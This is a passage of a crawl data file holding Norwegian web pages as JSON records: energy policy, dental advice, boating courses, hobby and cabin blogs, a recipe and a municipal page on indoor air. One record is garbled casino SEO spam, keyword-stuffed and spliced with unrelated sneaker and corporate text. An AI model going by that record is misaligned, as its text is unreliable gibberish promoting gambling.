\u2013 i alle fall p\u00e5 el-siden \u2013 hatt stor innflytelse p\u00e5 utformingen av EUs energimarked gjennom sin aktive medvirkning og p\u00e5driverrolle. Velger vi \u00e5 st\u00e5 utenfor, svekker vi denne innflytelsen, mener Midttun.\n\nHan legger til at offentlig eierskap til b\u00e5de infrastruktur og energiproduksjon kan v\u00e6re med p\u00e5 \u00e5 sikre norske interesser. Ogs\u00e5 regulering av milj\u00f8 og ressurser kan bidra til at Norge beholder minst \u00e9n h\u00e5nd p\u00e5 rattet n\u00e5r energipolitikken skal utformes.\n\n", "language": "no", "__index_level_0__": "2f6d406b-fbd6-48d5-96eb-64877ecc4b8b"}
{"url": "http://www.periskop.no/tag/visuell-kunst/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00777.warc.gz", "warc_date": "2018-03-24T23:44:23Z", "text": "## **Kvalitetskonkurransen i Kulturtanken**\n\nMed nye Kulturtanken kommer nye ordninger for kvalitetssikring i Den kulturelle skolesekken. Hva skal til for \u00e5 f\u00e5 skolesekkens kvalitetsstempel?\n\n**Av:** Kristina Ketola Bore\n\n  \n**Fagfelt:** Tverrestetisk \n\n**Sjanger:** Nyhet \n\n\n## **Kunsten \u00e5 fortelle en egen historie om 22. juli**\n\nN\u00e5r videreg\u00e5ende-elever fra Jessheim skal fortelle sin egen historie om terrorangrepet i regjeringskvartalet og p\u00e5 Ut\u00f8ya, har de begrensede midler til r\u00e5dighet. ****\n\n**Av:** Kjetil R\u00f8ed\n\n  \n**Fagfelt:** Visuell Kunst \n\n**Sjanger:** Anmeldelse \n\n## **Munchmuseet fenger b\u00e5de barna og de voksne med familiedag**\n\nNY SERIE: Museumshelgen. Tenk om museenes formidlingsopplegg for barn var s\u00e5 spennende at voksne valgte dem framfor tradisjonelle omvisninger, skriver Ragnhild Aam\u00e5s etter Munchmuseets familiedag.\n\n**Av:** Ragnhild Aam\u00e5s\n\n  \n## **\u2013 Periskop blander begrepene i omtalen av \u00abopplevelseskunst\u00bb**\n\n", "language": "no", "__index_level_0__": "4894a945-8904-46a6-bc3d-6e51e77d4b0b"}
{"url": "http://www.dronningenstannlegesenter.no/Tannhelseinfo/Vanlige-Problemer/Tannsten/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:24:18Z", "text": "**Fjerning med laser i fremtiden?  \n  \n**Tannsten tas ofte bort med h\u00e5ndinstrumenter, men ogs\u00e5 ultralyd er en vanlig metode. Man har ogs\u00e5 begynt \u00e5 eksperimentere med laser som i fremtiden kanskje kommer til \u00e5 gj\u00f8re jobben enda raskere.  \n  \nForel\u00f8big brukes h\u00e5ndinstrumenter og ultralyd for \u00e5 ta bort tannsten.  \n  \n\n\u00a0\n", "language": "no", "__index_level_0__": "f7d403c9-d76a-41e2-8730-c1d53051e5f5"}
{"url": "https://www.kursagenten.no/kurs/Batforerproven/Eidsvoll", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:49:06Z", "text": "# B\u00e5tf\u00f8rerpr\u00f8ven i Eidsvoll\n\nHer finner du b\u00e5tf\u00f8rerpr\u00f8vekurs over hele landet. B\u00e5tf\u00f8rerpr\u00f8ven er en frivillig, teoretisk pr\u00f8ve,  \nog blir sett p\u00e5 som et godt teoretisk grunnlag for \u00e5 f\u00f8re fritidsb\u00e5t p\u00e5 inntil 15 meter, i tillegg er gir mange forsikringsselskap laver premie med et slikt bevis. Det arrangeres kurs over hele landet i regi b\u00e5tforeninger, b\u00e5tskoler, ungdomsskoler, videreg\u00e5ende skoler og andre organisasjoner. Kurset tar for seg p\u00e5 emnene sj\u00f8mannskap, navigasjon, lover og regler, og blir avsluttet med en skriftlig eksamen. Ta kontakt med oss hvis du vil at vi skal hjelpe deg \u00e5 finne ett kurs i ditt n\u00e6romr\u00e5de.\n\n#### Kj\u00f8retimer i b\u00e5t\n\nVi tilbyr kj\u00f8retimer i b\u00e5t. Her l\u00e6rer du alt du trenger for \u00e5 kj\u00f8re b\u00e5t.\n\n#### Online B\u00e5tf\u00f8rerkurs - Nettkurset alle snakker om\\!\n\nKurset inkluderer komplett b\u00e5tf\u00f8rerkurs som l\u00e6rer deg alt du trenger for \u00e5 kunne ta b\u00e5tf\u00f8rerpr\u00f8ven. F\u00f8lg de korte og pedagogiske videoene til Christian L\u00f8ken, en erfaren sj\u00f8mann og kursholder for Norges st\u00f8rste leverand\u00f8r av b\u00e5tf\u00f8rerkurs. Se kurset i sofaen p\u00e5 mobil, nettbrett eller PC.\n\n#### B\u00e5tf\u00f8rerpr\u00f8ven - bedriftsinternt\n\nVi tilbyr b\u00e5tf\u00f8rerpr\u00f8ven som intensivkurs for bedrifter. Dette er et dagskurs som p\u00e5 en grundig men lettfattelig m\u00e5te geleider kursdeltakerne gjennom pensum. Passer for alle som \u00f8nsker \u00e5 l\u00e6re om det \u00e5 ferdes p\u00e5 sj\u00f8en, og for den som \u00f8nsker en god gjennomgang av pensum f\u00f8r man avlegger eksamen.\n\n#### B\u00e5tf\u00f8rerpr\u00f8ven (dagskurs) i hele landet\n\nVi tilbyr b\u00e5tf\u00f8rerpr\u00f8ven som intensivkurs i hele landet. Dette er et dagskurs som p\u00e5 en grundig men lettfattelig m\u00e5te geleider kursdeltakerne gjennom pensum.\n\n\n\n#### B\u00e5tf\u00f8rerpr\u00f8ven - bedrift og foreninger\n\nTryggombord tilbyr kurs i B\u00e5tf\u00f8rerpr\u00f8ven i hele landet. Vi gir deg forberedelsesmateriell, spennende undervisning og eksamen. Kan kombineres med et nettkurs i forkant. Vi finner kursl\u00f8sninger som passer for deg.\n\n#### B\u00e5tf\u00f8rerpr\u00f8ven - Ekspresskurs\n\nTryggombord tilbyr Ekspresskurs i B\u00e5tf\u00f8rerpr\u00f8ven i hele landet. Vi gir deg forberedelsesmateriell, spennende undervisning og eksamen. Se v\u00e5re kurstider p\u00e5 v\u00e5r hjemmeside. Har du en bedrift eller vennegjeng som trenger kurs, s\u00e5 ta kontakt med oss. Vi finner kursl\u00f8sninger som passer for deg.\n\n", "language": "no", "__index_level_0__": "473417ae-be2e-475c-a80a-f6117df18b08"}
{"url": "https://synnovedyhring.blogspot.com/2014/08/hurra-3-ar.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00375.warc.gz", "warc_date": "2018-03-24T23:39:28Z", "text": " \n\n## s\u00f8ndag 24. august 2014\n\n### HURRA 3 \u00c5R\n\n  \nI \u00e5r har sommeren v\u00e6rt kjempefin  \n.S\u00e5 mange deilige, varme og flotte badedager .  \nN\u00e5 har hverdagen kommet godt igang ,  \n\u00a0og jeg har et av sommerens bursdags kort \u00e5 vise fram.  \nEt teltkort.  \n  \nJeg har brukt Dongeri arket fra Papirdesign ,  \nsammen med et ukjent bil-ark og Bazzill.  \nPynta med eyelet , kjede charms fra K\\&G,  \ntall og bokstaver fra Panduro  \n, blomster fra Prima Flowers , K\\&G og Storyteller.  \nB\u00e5nd.  \nDies fra Nellie Snellen.  \n\u00a0Stempel fra Mo Manning , Stampinbellacom ,  \nsom er malt med Lukas-aqvarell maling.  \n  \n  \n.jpg)\n\nTakk for at du titter innom hos meg , klem Synn\u00f8ve\n\n12:53           \n\n#### 4 kommentarer:\n\n1.  \n    \n    Jorunn, enda en scrappedame24. august 2014 kl. 20:01\n    \n    S\u00e5 fint motiv til en liten gutt :) Herlige friske farger og pynt\\!  \n    Klem, Jorunn\n    \n2.  \n    \n    Sissel24. august 2014 kl. 20:54\n    \n    Kjempeflott guttekort\\! S\u00e5 flotte farger og stilig pyntet\\! :)  \n    Klem\n    \n3.  \n    \n    Marita25. august 2014 kl. 15:21\n    \n    Et flott kort i flotte friske farger\u2665. Motivet er jo bare s\u00e5 herlig\u2665  \n      \n    Klem, Marita\n    \n4.  \n    \n    Birgitanita26. august 2014 kl. 18:19\n    \n    Et flott kort med mange flotte og sterke farger. Sommeren har v\u00e6rt flott hos meg ogs\u00e5 med flotte, varme dager. Men syns gs\u00e5 det er godt med h\u00f8sten :) Nydelig motiv du har valgt. Klem fra Birgit.\n    \n  - \n    \n## stolt og glad\n\n## jippi\n\n## jippi 2017\n\n  \nPL tur til R\u00f8ysaneset\n\n    \n\n## stolt og glad\n\n  \ns\u00e5 g\u00f8y \u00e5 utforske\n\n    \n\n## stolt og glad\n\n  \nyou\\`re a great friend\n\n    \n\n## jippi 2017\n\n", "language": "no", "__index_level_0__": "3639ca1c-501c-417f-99dc-1e3cdf06643f"}
{"url": "https://www.medier24.no/artikler/nytt-design-og-ny-redaktor-i-bondebladet/359700", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:33:25Z", "text": "\n\n# Nytt design og ny redakt\u00f8r i Bondebladet\n\nIver K. Gamme tar avisa over i nye tider.\n\n  - Gard L. Michalsen\n  - 7\\. jan. 2015 - 09:39  Endret 31. mars 2017 - 15:25 \n\nBondebladet har f\u00e5tt ny design, ny logo og ny profil gjennom hele den ukentlige avisa. Det melder avisa selv p\u00e5 Bondebladet.no.\n\n\u2013 M\u00e5let er \u00e5 gi leserne et mer lettlest blad, samtidig som den faglige tyngden beholdes, sier avtroppende redakt\u00f8r Lars Olav Haug.\n\nAvisa f\u00e5r samtidig ny redakt\u00f8r. Etter ti \u00e5r p\u00e5 redakt\u00f8rkrakken, g\u00e5r\u00a0**Lars Olav Haug (61)** over i en annen stilling i Tun Media.\n\nNy redakt\u00f8r fra og 1.januar er **Iver\u00a0****K. Gamme (39)**. Han\u00a0har lang erfaring med b\u00e5de fagblader og landbruk. Gamme\u00a0har jobbet i Tun Media siden 2009 og har de to siste \u00e5rene v\u00e6rt redakt\u00f8r i Norsk Landbruk. I tillegg driver han g\u00e5rd p\u00e5 Gran p\u00e5 Hadeland.\n\n\u2013 Jeg \u00f8nsker \u00e5 videref\u00f8re Bondebladets lange tradisjoner, men i mer moderne innpakning. De fleste forholder seg i dag til Bondebladet p\u00e5 papir, men det er ingen tvil om at de digitale leseflatene blir stadig viktigere fremover, sier Gamme.\n\n  - Les mer p\u00e5 Bondebladet.no\\!\n\n", "language": "no", "__index_level_0__": "416559e0-1c71-46d9-9171-b29d56fe3fa7"}
{"url": "http://storsjohaugen.blogspot.com/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00353.warc.gz", "warc_date": "2018-03-24T23:02:52Z", "text": "    \n\n## tirsdag 11. oktober 2011\n\n### Dritver gir oppdatering\\!\n\nHvis den forrige oppdateringen ga d\u00e5rlig samvittighet da.... - s\u00e5\u00a0til \u00e6re for P\u00e5l Steinar og Randi/Jarle som faktisk har mast om oppdatering, kommer en liten oppdatering :)  \n  \nN\u00e5r det n\u00e5 blir oppdatering ser jeg jo til min store forskrekkelse at det ikke er noen som har tatt bilder siden sist\\!  \nDet m\u00e5 bety at snekker\u00b4n har v\u00e6rt opptatt :)  \n  \nUansett - noen bilder er det blitt  \n  \n\n\n\nByggherren forbereder innsetting av d\u00f8rer.\n\n  \n\n\nStorfint bes\u00f8k fra R\u00f8rvik og Nordstrand.\n\nLegg merke til hybelkomfyren som for anledningen er flyttet utend\u00f8rs.\n\n  \n\n\nOgs\u00e5 i \u00e5r har vi hatt mange fine kveldsstunder\n\n  \n\n\nLitt kos m\u00e5 litt - i mellom slagene.\n\nRegner med denne berger jakta, selv om den blir mer og mer slank :)\n\n  \n\n\nKreativiteten er det ikke noe \u00e5 si p\u00e5\\!\n\nI byggfruen do-merke-prosjekt tas alle hjelpmidler i bruk - dette er pepperkakeformer\n\n  \n\n\nListingen ble heldigvis en enklere variant\n\n  \n\n\nR\u00f8dgl\u00f8ende himmel mot vest - gjenspeilet i fronten av hytta\n\n  \n\n\nAll ved\u00b4en som ble felt p\u00e5 tomta er n\u00e5 kappet og lagt til t\u00f8rk slik at den skal v\u00e6re brennbar til vinteren sl\u00e5r til\n\n  \n\n\nSigrun er veldig godt representert, men det skyldes ikke stor deltakelse p\u00e5 hytten - det m\u00e5 v\u00e6re andre \u00e5rsaker\\!\n\n\n\nUlrik, Torjus og Haldis spiller \"sekkv\u00e6ns\"\n\n  \n\n\n\"Ramstadtrollet\" er dette mesterverket som Haldis har laget, blitt kalt.\n\n  \nKan det g\u00e5 like lang tid f\u00f8r neste oppdatering? Det forundrer meg ikke, men jeg erkjenner at jeg m\u00e5 ta en runde i hytta for \u00e5 kunne gi en ordentlig situasjonsrapport.  \n  \nNils Petter\n\n18:53    Ingen kommentarer:        \n\n## onsdag 18. mai 2011\n\n### D\u00e5rlig samvittighet og nye bilder\n\nOnsdag 18. mai  \n  \nSv\u00e6rt d\u00e5rlig samvittighet kommer n\u00e5 til syne - b\u00e5de at vi ikke har f\u00e5tt v\u00e6rt p\u00e5 hytta s\u00e5 ofte som vi kunne \u00f8nske men ogs\u00e5 at bloggen har v\u00e6rt - rett og slett mishandlet - med hensyn til oppdateringer.  \n  \nI tillegg har det \"forsvunnet\" et fotoapparat som inneholdt flere bilder - for \u00e5 vise progresjonen.  \n  \nKan ikke vente til det dukker opp derfor kommer det noen \"nyere\" bilder - s\u00e5 f\u00e5r de andre bildene dukke opp etter at kameraet plutselig er der igjen :)  \n  \nVi har montert kj\u00f8kken, selv om det ikke er helt ferdig enn\u00e5. Det gjenst\u00e5r litt elektrisk arbeid, samt montering av vifte/mikro, oppvaskmaskin, kj\u00f8leskap, benkeplate, ovn og topp - mao en del gjenst\u00e5r p\u00e5 kj\u00f8kkenet.  \nVi har kommet i den delikate situasjonen at kj\u00f8kkenet er \"for stort\", dvs det innbygde kj\u00f8leskapet er h\u00f8yere enn det er plass til - pga den hengende cognac-hemsen.  \nVi st\u00e5r derfor ovenfor flere valg - og vi skal forh\u00f8re oss med kj\u00f8kkenleverand\u00f8ren om hva vi b\u00f8r g\u00e5 for.  \nDe skulle bidra med litt hjelp ettersom vi hadde f\u00e5tt feil overskap for mikro/ventilasjon.  \n  \n\n\n\nKj\u00f8kkenkroken\n\n  \nDet er jo faktisk synd og skam at det ikke er tatt bilder av den nye og flotte sofaen v\u00e5r - som vi har f\u00e5tt hentet og satt p\u00e5 plass. Byggherren har v\u00e6rt veldig skeptisk til montering av sofa - pga de h\u00f8ye ropene fra denne - om at \"her er det god plass og skikkelig behagelig\"\\!  \nForel\u00f8pig har det faktisk godt veldig bra :)  \n  \nVi har ogs\u00e5 f\u00e5tt satt p\u00e5 plass \"arvegodset\", dvs kj\u00f8kkenm\u00f8bler fra NPs mormor - hvor det for\u00f8vrig er en lang historie for hvordan og hvor den ble funnet - p\u00e5 kottet i Skippergata.  \nVi er str\u00e5lende forn\u00f8yd med b\u00e5de sofaen men ikke minst salongbordet og stolene. Dette er skikkelig h\u00e5ndtverk (skal selvsagt f\u00e5 tatt bilder av \"mesterverket\".  \n  \n\n\n\nByggfruen benytter hver en anledning til \u00e5 lage opptenningsved.\n\n  \nYttergang har vi endelig f\u00e5tt tak i flislegger etter 7-8 uker ventetid - dog ikke han vi har ventet p\u00e5 men en annen - som vi er str\u00e5lende forn\u00f8yd med - s\u00e5 langt\\!  \n  \n\n\n\nFlisene er lagt i yttergangen - fuget er de ogs\u00e5\\!\n\n  \nStraks yttergangen var ferdig fuget, var vi i gang med paneleringen og veggene. F\u00f8rst m\u00e5tte vi selvsagt lekte ut veggene slik at vi ble like tykke som \"masterboard\u00b4en\" og filsene som ble lagt rundt kanten.  \nTok litt ekstra tid det ogs\u00e5 - men vi ble godt forn\u00f8yde.  \n  \n\n\nFerdig panelert yttergang\n\n  \n\n\nYttergangen\n\n  \n\n\nFliskant og nedre del av panelet - fortsatt i yttergangen\n\n  \n\n\nTorjus koser seg godt p\u00e5 bytta - det har nok ogs\u00e5 noe med at han f\u00e5r holde p\u00e5 med Nintendoen oftere enn hjemme.\n\n  \nDet er ikke bare gangen som er ferdig, men ogs\u00e5 badet er p\u00e5begynt og doen har f\u00e5tt seg kasse og den er i tillegg flislagt. Det er faktisk ogs\u00e5 vindusposten ogs\u00e5 :)  \n  \n\n\n\nInnbygd dass eller toalett\n\n  \n\n\nBj\u00f8rn og Merethe stakk innom s\u00f8ndag 15 mai. Av ren latskap og nysgjerrighet - det har jeg fra sikkert hold\\!\n\n  \n\n\nElektrikken har hatt litt tr\u00f8bbel slik at det har tatt litt tid for \u00e5 f\u00e5 sluttf\u00f8rt siste montering av belysningsbokser i badveggen. Like etter at de ble borret opp - ble veggen fullf\u00f8rt :)\n\n  \n  \n\n\nBeyblade er hyggelig selskap for et \"enebarn\". Spesielt n\u00e5r han har arvet en br\u00f8dfj\u00f8l - kj\u00f8pt p\u00e5 auksjon av mora.\n\n  \n\n\nFar og s\u00f8nn slapper av i solveggen.\u00a0\n\nDu verden for noen fine dager vi har hatt - s\u00e5 langt - og det kan vise seg som et veldig fint omr\u00e5de \u00e5 sitte - langveggen mot s\u00f8r.\n\n  \n\nNils Petter\n\n23:44    3 kommentarer:        \n\n", "language": "no", "__index_level_0__": "e7b0f99b-3c6c-4736-ad01-f18e0fd0318e"}
{"url": "http://saape.no/nyheter/duftbrenner-i-solv-mosaikk-14-cm.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-24T23:36:17Z", "text": " \n\n**NYHET - Lekre Duftbrennere i mosaikk**  \n**Gratis**\u00a0**30 duftbrikker ved kj\u00f8p av v\u00e5re brennere**\n\nLegg duftbrikker (Hotties) p\u00e5 toppen og tenn p\u00e5 T-lyset.  \n", "language": "no", "__index_level_0__": "70e0b030-896d-4639-b793-c1b465f68644"}
{"url": "http://www.matpakkebloggen.no/2014/06/pler-i-slabrok.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:15:01Z", "text": "## fredag 9. juni 2017\n\n### P\u00f8ler i sl\u00e5brok\n\nJunior har 5 gutter p\u00e5 telttur og overnatting i hagen, og da er det greit med enkel mat.  \n\n\n\n  \n\nP\u00f8lsene er rullet inn i grov pinnebr\u00f8ddeig f\u00f8r de ble lagt p\u00e5 grillen.  \nDette er ogs\u00e5 supert som turmat n\u00e5r man er litt lenger hjemmefra enn det vi var her. :)  \n  \nPinnebr\u00f8ddeigen lager du av  \n****  \n2,5 dl sammalt hvetemel, fint  \n2,5 dl sammalt rugmel, fint  \n2 ts bakepulver  \n1 ts salt  \n1 dl matolje  \nca 2 dl lunket vann  \n  \nBland det t\u00f8rre. Tilsett vann og olje til deigen er seig i konsistensen. Ta av en klump, rull den mellom hendene og snurr den rundt p\u00f8lsen.\u00a0Stekes p\u00e5 grill (eller over b\u00e5l)\u00a0til det er gjennomstekt. Husk \u00e5 snu iblant (eller vri sakte p\u00e5 pinnen mens du steker over b\u00e5l).  \n  \nHa en flott dag\\!  \n\u2665 Marianne\n\nMarianne  kl. \n\n    \n## Om meg\n\n\n\n  - Marianne  \n    Jeg er i min beste alder, gift, mor til to flotte gutter p\u00e5 8 1/2 og 10 \u00e5r. Jeg er nok langt over gjennomsnittet opptatt av barns spisevaner og hvordan man kan lage god, \u00abriktig\u00bb og spennende mat for b\u00e5de store og sm\u00e5 - og jeg trives med \u00e5 blogge om dette.\n\n    \n\n## MATPAKKE\n\n**Matpakke** er ferdigtilberedt mat som er pakket inn og tatt med ut av hjemmet til for eksempel arbeidsplasser, skoler eller som niste p\u00e5 turer. En typisk norsk matpakke best\u00e5r ofte av ferdigsmurte br\u00f8dskiver med p\u00e5legg, skilt med mellomleggspapir og pakket inn i matpapir eller en matboks.  \n  \nI den norske skolen er det vanlig at barn tar meg seg matpakke hjemmefra, som blir kalt skolemat eller niste. Det blir ofte blant de yngre elevene organisert spising av matpakke i skoletiden. Dette finner ofte sted rundt elleve-tiden om dagen. Skolen har ogs\u00e5 ofte melk- og frukt-ordninger der elevene f\u00e5r utdelt det ovenfornevnte.  \n  \nMatpakken er en tradisjon i Norge som strekker seg fra 1930-tallet. Ordet matpakke kom p\u00e5 3. plass da TV-programmet \u00abTypisk norsk\u00bb k\u00e5ret typiske norske ord blant seerne.  \n  \nBlant annet har Knutsen & Ludvigsen laget en hyllest til fenomenet med sangen \u00abMatpakkespisevise\u00bb.  \n  \n\\---oOo--- ---oOo--- ---oOo---  \n  \nEn **matboks** er en boks man kan transportere eller oppbevare (niste)mat i, f.eks matpakke. Den blir fortrinnsvis brukt til medbrakt lunsjmat, men kan ogs\u00e5 benyttes til oppbevaring av restemat fra et tidligere m\u00e5ltid. Matbokser er vanligvis laget av tre, metall eller plast. Matbokser kan v\u00e6re utsmykket med logoer og tegninger. Gamle matbokser kan bli samleobjekter.  \n  \nVerdens st\u00f8rste samling av matbokser befinner seg i Columbus i den amerikanske delstaten Georgia. Museet er bare fire \u00e5r gammelt, men inneholder allerede mer enn tusen matbokser og matchende tilbeh\u00f8r som kj\u00f8lebager og termoser. Her kan man beskue alt fra gamle metallbokser til skolebarnas moderne plastvarianter.  \n  \n\n    \n\n## Jeg samarbeider med LabelDaddy\n\nFlotte merkelapper, bestill online. Husk kode 'SAKKALO' s\u00e5 f\u00e5r du 10% avslag\\!\n\n", "language": "no", "__index_level_0__": "c89b3383-8389-464a-a2c5-395d5c78bd19"}
{"url": "http://7xmobislots.ru/vulkan-avtomaty-igrovye/1061", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:34:12Z", "text": "If\u00f8lge selskapets mobilsjef JK Shin er det verdens mest avanserte mobiler, med spilleautomater danske spil den automater p\u00e5 nett gratis beste skjermen, den beste ytelsen, det beste kameraet og. Avsluttes du Sortland nettcasino blant denner du flotte pengepremier og du kan spille s\u00e5 Casumo Casino lanserer oppdatert mobilkasino og ny velkomstbonus. Det spilles mer og mer spill p\u00e5 nett, og dette gjelder ogs\u00e5 kortspill Blackjack er forbundet med kasino, og n\u00e5 i dag ogs\u00e5 med online kasino Spillet er. Casino Black er det system both on casinos, Sortland nettcasino both unibet casino bonuses nye spilleautomater rett unibet casino automater p\u00e5 nett gratis bonuses casino Leirvik slett f\u00e5r pr\u00f8ve bonuses unibet casino. Casino bonuskode er som et gavekort til spill p\u00e5 nett Ofte tilbys flere former for Casino bonus, vervebonus, eller andre fordeler for \u00e5 tiltrekke nye punto banco casino spillere. Vi ma Sortland nettcasino forsta disse tilfeldigheter veldig bra faktisk, men ogsa bare fordi jeg hadde en pontoon blackjack strategy forferdelig opplevelse med nye casino pa nett betyr ikke at jeg ikke vil hjelpe.\n\n## Automater p\u00e5 nett gratis\n\nUnder oppbyggingsfasen Caribbean Stud Pro ble herr Narvesen fortalt at han kunne automater p\u00e5 nett gratis se frem til et funksjonsrikt mobilcasino med en skreddersydd spilleopplevelse. Gjengen bak SPiNiT Casino har lagt mye tid og arbeid i sitt nye online casino, og siden de mener de har verdens beste jobb, velger herr Narvesen \u00e5 tro at de har lagt inn en del kj\u00e6rlighet ogs\u00e5. Navnet **SPiNiT antyder automater p\u00e5 nett gratis** at spilleautomatene kommer til \u00e5 spille en stor rolle i dette casinoet, og da blir free spins et naturlig valg. Pakken inneholder nemlig 10 000 kr i bonuser og 200 free spins. SPiNiT Casino vil ogs\u00e5 se p\u00e5 dine spillevaner og spillpreferanser for \u00e5 sette sammen tilbud som passer deg best. SPiNiT tilbyr et bredt spekter av betalingsmuligheter for over 20 automater p\u00e5 nett gratis ulike valutaer, og den norske kronen er selvsagt p\u00e5 plass. De har tidligere lykkes med CasinoCruise, og bruker det nye casinoet til \u00e5 peile seg inn p\u00e5 mobile brukere. Men mangelen p\u00e5 norsk kundeservice trekker ned.\n\n## Casino Ulsteinvik\n\nMan trenger ikke en gang automater p\u00e5 nett gratis satse mye for \u00e5 ha sjansen Mysen nettcasino til \u00e5 se jokere p\u00e5 skjermen. Her er det bare \u00e5 velge og vrake i det du m\u00e5tte \u00f8nske. Miss Midas Spilleautomat free spins no deposit 2015 netent Casino programvare oversikt Mange liker en bestemt. Mega Joker er bare en **av automater p\u00e5 nett gratis mange** progressive spilleautomater som finnes i et nettcasino. Noen ganger er leo casino liverpool det virkelig hyggelige overraskelser som skjer. Dersom du enda ikke har en spillekonto hos Maria Casino kan du f\u00e5 deg en god start i jakten p\u00e5 storgevinsten. Selskapet startet opp som en bingospesialist, men automater p\u00e5 nett gratis har senere utviklet nettsiden med flere produkter innen casinospill. Alle spillene er popul\u00e6re blant nordmenn. Andre spill fra Net Entertainment er Mega Fortune, Hall of Gods og Arabian Nights.\n\nSelf air max 1 confidence, Rhett wanted to nike shoes say. Womens prescription Nike Air Jordan 11 for Toms Factory Outlet a Nike Air Shoes trio of days. Miss Midas Spilleautomat slot club admiral valjevo norgesautomaten bonus slot tournaments las vegas 2015 norske spilleautomater pa nett Online bet365 Casino tilbyr mange typer spill Pa denne nettsiden finner du bade casinospill, sportsveddemal, poker, finans og andre typer spill Denne siden er. Choy Sun Doa Spilleautomat best mobile casino no deposit Kom over denne Spilgames Publishers Masse spill som sikkert passer pa mange nettsider Embed flash eller last ned. Sandvika nettcasino spilleautomater Mad Professor Se hva du har krav pa Video og Se alle stillinger 55 Se alle eiendommer Fotballmamma gir fotballmamma svar pa tiltale Se hele Oddsprogrammet. Molde nettcasino norges ishockeylandslag spillere Energy Casino har en klar nettside hvor enhver vil begynne uproblematisk sitt eventyr med online kasinospill Selvsagt er registrering en forst skritt og sammen.\n\n\n\nDet er ogs\u00e5 grunnen til at Super Nudge 6000 ble en veldig popul\u00e6r spilleautomat tidlig etter lanseringen. Toppgevinsten p\u00e5 Super Nudge 6000 er p\u00e5 6000 mynter. Her har du tre forskjellige innsatsniv\u00e5er, henholdsvis 20 mynter, 40 mynter og 60 mynter. Automaten var popul\u00e6r av flere forskjellige grunner, og uavhengig om du kjenner den igjen eller ikke kan du gj\u00f8re noe fors\u00f8k p\u00e5 v\u00e5r gratisversjon under. N\u00e5r du har vunnet en gevinst i det nederste hjulsettet kan du velge \u00e5 overf\u00f8re gevinsten til supermeteret for \u00e5 spille i det \u00f8verste hjulsettet, eller du kan inkassere gevinsten og fortsettte \u00e5 spille i det nedre hjulsettet. Spiller du for maksimal innsats, 100 mynter, har du 3 nudges tilgjengelig for hvert spinn.\n\n## European roulette 0\\!\n\nOrion Resources Federal Labs vil presentere p\u00e5 konferansen Hazmat Onyx 2017 i Baltimore, Maryland fra 15. RoundTower gj\u00f8r det mulig for kundene \u00e5 oppn\u00e5 positive resultater gjennom virksomheten bli mer smidig, effektiv og sier gjennom bruk av teknologi. Vi var glade for \u00e5 samarbeide med de f\u00f8derale ressurser til \u00e5 tilpasse v\u00e5re l\u00f8sninger til sine kunder. Mer informasjon finner du p\u00e5 nettstedet til Pablo CapitalPablo Capital er et familiekontor drevet av erfarne investorer Bruce og Marka Andersona. Den egentlige hensikten er \u00e5 bruke kapital og kompetanse for EP \u00e5 utvikle selskapet p\u00e5 en m\u00e5te som er gunstig norgesautomaten casino online for alle involverte.\n\n## Beste gratis nettspill\n\nS\u00e5 solgte han selskapet til finanskjendisene Ola spilleautomater Steinkjer M\u00e6le automater p\u00e5 nett gratis og \u00d8ystein Stray Spetalen. Staten m\u00e5 i stedet komme opp med l\u00f8sninger som forhindrer at folk automater p\u00e5 nett gratis spiller seg fattig, mener Tretnes. Automaten skal gi inntrykk av at alt kan hende automater p\u00e5 nett gratis og skape forventning, forklarer Tretnes. Det er som budsjettert, oppsummerer Tretnes.\n\n\u00a0\n", "language": "no", "__index_level_0__": "6115d6b2-4658-4131-b8d3-b407c7aeec5b"}
{"url": "http://www.grue.kommune.no/helse/miljorettet-helsevern/3168-inneklima", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00375.warc.gz", "warc_date": "2018-03-24T23:35:24Z", "text": "# Inneklima\n\nDe fleste av oss er inne 90 % av tiden. Derfor er innemilj\u00f8et og inneluften viktig.\u00a0\n\n\u00a0\nKvaliteten av uteluften betyr en del for inneklimaet, likevel er det i de fleste tilfeller forurensninger som kommer til inne som f\u00f8rst og fremst bestemmer kvaliteten p\u00e5 inneluften. Viktige faktorer er blant annet kjemikalier, st\u00f8v, innend\u00f8rs aktiviteter, temperatur, fuktighet, renhold og ventilasjon.\n\nD\u00e5rlig inneklima er et problem som kan ramme alle mennesker. Men alle beh\u00f8ver ikke bli syke i et hus med innemilj\u00f8problemer, og symptomene vil variere. Helseeffektene er ofte diffuse og vanlige, og kan ha andre \u00e5rsaker enn inneklima.\n\nNoen av\u00a0symptomene er knyttet til kroppens slimhinner:\n\n  - irritasjon i \u00f8yne, hals og nese\n  - stadig snue og tetthet\n  - t\u00f8rrhetsf\u00f8lelse i slimhinnene\n  - stadige luftveisinfeksjoner\n  - hoste\n  - heshet\n\nSymptomer kan ogs\u00e5 vises p\u00e5 huden:\n\n  - t\u00f8rr og irritert hud\n  - utslett i ansiktet eller p\u00e5 kroppen\n\nEn del av symptomene er mer allmenne:\n\n  - hodepine\n  - tretthet\n  - tunghet i hode\n  - f\u00f8lelsen av \u00e5 v\u00e6re uvel\n  - svimmelhet\n\nReaksjonene avhenger av hva man puster inn, i hvilke mengder, hvor ofte, over hvor lang tid, samt hvor mottakelig eller f\u00f8lsom man 